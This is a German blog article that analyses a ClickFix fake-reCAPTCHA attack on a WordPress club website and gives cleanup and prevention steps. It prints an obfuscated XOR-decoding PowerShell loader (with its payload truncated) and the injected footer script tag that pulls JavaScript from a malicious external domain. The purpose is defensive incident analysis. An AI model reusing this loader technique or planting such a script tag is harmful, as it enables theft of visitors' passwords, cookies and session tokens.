Auf einen Blick: Immer häufiger berichten Sicherheitsforscher von kompromittierten WordPress-Webseiten, die statt normaler Inhalte plötzlich eine vermeintliche Cloudflare- oder reCAPTCHA-Prüfung anzeigen – inklusive der Aufforderung, einen PowerShell-Befehl auszuführen. Diese Masche gehört zur sogenannten ClickFix-Technik.
In diesem Artikel zeige ich Schritt für Schritt:
- wie ein solcher Angriff auf einer Vereins-Webseite aussah,
- wie wir die Malware im Code gefunden und entfernt haben,
- und wie du deine eigene WordPress-Installation (oder dich als Besucher) vor ähnlichen Angriffen schützt.
Was ist ClickFix?
Sicherheitsbehörden und Forscher definieren ClickFix als Social-Engineering-Technik, bei der Nutzer über eine gefälschte CAPTCHA- oder Cloudflare-Seite dazu gebracht werden, einen bereitgestellten Befehl im Terminal oder in PowerShell auszuführen.
Statt eines normalen „Ich bin kein Roboter“-Klicks enthält die Seite detaillierte Anweisungen: „Drücken Sie Win+R / Win+X, fügen Sie den Befehl ein, drücken Sie Enter“ – angeblich zur „Verifizierung“.
Typische Merkmale:
- Die Seite sieht aus wie Cloudflare, reCAPTCHA oder eine Sicherheitsprüfung.
- Es wird ausdrücklich verlangt, PowerShell, Terminal oder den Run-Dialog zu öffnen.
- Ein Befehl wird automatisch in die Zwischenablage kopiert und soll eingefügt werden.
Nach Ausführung lädt der Befehl weitere Schadsoftware nach (oft Info-Stealer wie Lumma oder Vidar).
⚠️ Wichtig: Kein legitimes CAPTCHA der Welt braucht einen PowerShell-Befehl. Sobald eine „Verifizierung“ dich aus dem Browser heraus in die Kommandozeile schickt, handelt es sich praktisch sicher um einen Angriff.
Fallstudie: Vereinswebseite mit Fake-reCAPTCHA
Auf einer öffentlichen Vereins-Webseite (WordPress, klassisches Theme) fiel dem Betreiber etwas Merkwürdiges auf:
- Statt der üblichen Startseite erschien ein leicht verschwommener Hintergrund.
- Darüber lag ein Fenster „Ich bin kein Roboter“ mit reCAPTCHA-Logo und einer Ray-ID, wie man sie von Cloudflare kennt.
- Nach einem Klick auf das Kästchen wurde ein weiteres Fenster eingeblendet, das Schritt-für-Schritt-Anweisungen für Tastenkombinationen unter Windows zeigte (Win+X, dann I, dann Strg+V, dann Enter).

Im Hintergrund hatte die Seite bereits einen PowerShell-Befehl in die Zwischenablage geschrieben. Wenn der Nutzer den Anweisungen folgt, führt er diesen Befehl mit seinen eigenen Rechten auf dem System aus – eine typische ClickFix-Kette.
Bemerkenswert war:
- Die Seite sah auf den ersten Blick seriös aus (Vereinslogo, bekannte Domain).
- Sucuri SiteCheck und Wordfence-Scan meldeten zunächst keine Malware.
- Das Fake-CAPTCHA erschien nur auf Desktop, nicht auf dem Smartphone – ganz bewusst, denn der Angriff zielt auf Windows-Systeme mit PowerShell.
Technische Analyse des PowerShell-Codes
Im Clipboard des Besuchers fand sich ein stark obfuskierter PowerShell-Code. Vereinfacht sah er so aus:
<# Verification code: AF761F89E804 #>
$lw='1zQsyfiR';
$afv2='150c24160e1e516f16 ...';
$tpn='';
for($i=0;$i -lt $afv2.Length;$i+=2){
$tpn+=[char](([convert]::ToInt32($afv2.Substring($i,2),16))
-bxor[int][char]$lw[$i/2%$lw.Length])
}
.($env:ComSpec[4,26,25]-join'') $tpn
Was passiert hier?
$afv2enthält einen langen Hex-String, der den eigentlichen Payload repräsentiert.$lwist ein kurzer String, der als XOR-Schlüssel dient.- In der Schleife wird aus Hex + XOR zur Laufzeit ein lesbarer Befehl erzeugt.
.($env:ComSpec[4,26,25]-join'')ist ein verschleierter Aufruf voncmd.exe/PowerShell, der den entschlüsselten Payload direkt ausführt, ohne ihn sichtbar zu machen.
Nach Entschlüsselung ergab sich ein klarer Loader-Code, der TLS 1.2 erzwingt, einen zufälligen Temp-Ordner anlegt, eine zusätzliche .ps1-Datei von einer externen Domain herunterlädt und diese unsichtbar ausführt. Dies entspricht genau der beschriebenen ClickFix/Lumma-Kette: Diebstahl von Passwörtern, Cookies und Session-Tokens.
Wie kam die Malware auf die WordPress-Seite?
Im WordPress-Backend des Vereins war auf den ersten Blick nur Folgendes zu sehen:
- Einige veraltete oder von wordpress.org entfernte Plugins.
- Sonst keine offensichtlichen Auffälligkeiten in den Standard-Scans.
Die eigentliche Injektion fand sich erst in den Theme-Dateien:
Beim Blick in wp-content/themes/[aktives Theme]/footer.php fiel eine letzte Zeile am Ende der Datei auf:
<script src="https://js.prod-v3.conn.unmeteredconnection.com/libs/js/supporting/"></script>
Diese Zeile war nicht Teil des Original-Themes, sondern nachträglich eingefügt worden und lud JavaScript von einer fremden Domain nach. Das nachgeladene Skript erzeugte das Fake-CAPTCHA-Overlay und manipulierte die Zwischenablage.
Schritt-für-Schritt-Bereinigung der Seite
Der Betreiber hat die Seite in mehreren Schritten bereinigt – ein Vorgehen, das sich gut als Checkliste für andere WP-Sites eignet.
1. Akute Gefahr stoppen
- Seite temporär in den Wartungsmodus setzen.
- WordPress-Admin-, Hosting- und FTP-Passwörter sofort ändern.
- Nutzer darauf hinweisen, dass beim Besuch der Seite kein PowerShell-Befehl ausgeführt werden darf.
2. Schadcode identifizieren
- DevTools (Browser) öffnen, Elements-Tab: Nach
<script>-Tags suchen, die auf unbekannte Domains zeigen. - Im WP-Backend mit einem File-Manager:
wp-content/themes/[aktives Theme]/footer.phpundheader.phpprüfen. Nach verdächtigen Script-Zeilen am Ende der Dateien suchen. - Plugins, die stark veraltet sind, als potenzielle Einfallstore markieren.
3. Schadcode entfernen
- Den verdächtigen
<script src="...">-Tag vollständig löschen und die Datei speichern. - Falls weitere Theme-Dateien betroffen sind, am besten aus einem sauberen Backup oder dem Original-Theme wiederherstellen.
- Alle nicht benötigten oder unsicheren Plugins deinstallieren.
4. Systematisch prüfen & Nacharbeiten
- Wordfence oder ähnliches Security-Plugin erneut laufen lassen (Core-Dateien, Plugins, Themes auf Integrität prüfen).
- WordPress-Core, alle Plugins und Themes auf den aktuellen Stand bringen.
- Datei-Bearbeitung im WP-Backend deaktivieren (
DISALLOW_FILE_EDITinwp-config.php). - Zwei-Faktor-Authentifizierung für Administrator-Accounts aktivieren.
Was müssen Besucher und Admins beachten?
Für normale Nutzer:
- Finger weg von PowerShell & Terminal, wenn eine beliebige Website dazu auffordert.
- Ein echtes CAPTCHA verlangt nur Klicks oder einfache Bildauswahlen – niemals Tastenkombinationen wie
Win+R. - Wenn eine Seite solche Anweisungen zeigt: Tab schließen, nicht „weiterprobieren“.
Für Admins und Betreiber:
- Ein unerwartetes CAPTCHA-Overlay ist kein Nutzerfreundlichkeitsproblem, sondern nahezu immer ein Hinweis auf einen kompromittierten Webserver.
- Die richtige Reaktion ist Incident Response, nicht „noch ein Plugin installieren“: Zugriff einschränken, Passwörter drehen, Code prüfen.
- Ein einziges Script-Tag im Footer genügt, um alle Besucher einer Seite mit ClickFix-Lures zu konfrontieren. Externe Scanner erkennen solche Kampagnen oft nicht sofort.